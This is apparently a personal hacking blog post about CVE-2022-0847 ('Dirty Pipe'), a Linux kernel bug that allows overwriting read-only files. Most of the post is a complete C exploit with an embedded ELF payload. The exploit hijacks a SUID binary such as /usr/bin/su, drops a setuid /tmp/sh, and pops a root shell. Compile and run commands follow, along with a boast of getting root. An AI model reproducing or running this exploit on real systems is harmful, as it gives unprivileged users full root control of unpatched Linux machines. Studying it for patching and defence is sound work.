rootđź’€muzec-sec:~#

Hack. Sleep. Repeat

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Description

This is the story of CVE-2022-0847, a vulnerability in the Linux kernel since 5.8 which allows overwriting data in arbitrary read-only files. This leads to privilege escalation because unprivileged processes can inject code into root processes. Seems it similar to DirtyCow (CVE-2016-5195) now it more like DirtyCow Reloaded and it easy to exploit.

The vulnerability was fixed in Linux 5.16.11, 5.15.25 and 5.10.102.

CVE

CVE-2022-0847

Exploit Code Below;

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <stdint.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

// small (linux x86_64) ELF file matroshka doll that does;
//   fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC);
//   write(fd, elfcode, elfcode_len)
//   chmod("/tmp/sh", 04755)
//   close(fd);
//   exit(0);
//
// the dropped ELF simply does:
//   setuid(0);
//   setgid(0);
//   execve("/bin/sh", ["/bin/sh", NULL], [NULL]);
unsigned char elfcode[] = {
	/*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
	0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,
	0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,
	0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,
	0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,
	0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,
	0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,
	0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,
	0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,
	0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,
	0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,
	0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
	0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
	0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,
	0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,
	0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,
	0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,
	0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,
	0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
};

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}

int hax(char *filename, long offset, uint8_t *data, size_t len) {
	/* open the input file and validate the specified offset */
	const int fd = open(filename, O_RDONLY); // yes, read-only! :-)
	if (fd < 0) {
		perror("open failed");
		return -1;
	}

	struct stat st;
	if (fstat(fd, &st)) {
		perror("stat failed");
		return -1;
	}

	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
	if (nbytes < 0) {
		perror("splice failed");
		return -1;
	}
	if (nbytes == 0) {
		fprintf(stderr, "short splice\n");
		return -1;
	}

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, len);
	if (nbytes < 0) {
		perror("write failed");
		return -1;
	}
	if ((size_t)nbytes < len) {
		fprintf(stderr, "short write\n");
		return -1;
	}

	close(fd);

	return 0;
}

int main(int argc, char **argv) {
	if (argc != 2) {
		fprintf(stderr, "Usage: %s SUID\n", argv[0]);
		return EXIT_FAILURE;
	}

	char *path = argv[1];
	uint8_t *data = elfcode;

	int fd = open(path, O_RDONLY);
	uint8_t *orig_bytes = malloc(sizeof(elfcode));
	lseek(fd, 1, SEEK_SET);
	read(fd, orig_bytes, sizeof(elfcode));
	close(fd);

	printf("[+] hijacking suid binary..\n");
	if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) {
		printf("[~] failed\n");
		return EXIT_FAILURE;
	}

	printf("[+] dropping suid shell..\n");
	system(path);

	printf("[+] restoring suid binary..\n");
	if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) {
		printf("[~] failed\n");
		return EXIT_FAILURE;
	}

	printf("[+] popping root shell.. (dont forget to clean up /tmp/sh ;))\n");
	system("/tmp/sh");

	return EXIT_SUCCESS;
}

Exploiting Target Below;

Now it compile it and run the exploit with a spicy.

image

gcc exploit.c -o exploit

Now we just need SUID and we should be smiling with root XD.

image

Now let run.

┌──(muzec㉿Muzec-Security)-[~/Documents]
└─$ ./exploit /usr/bin/su  

image

We are root time for me to update i guess XD

Greeting From Muzec



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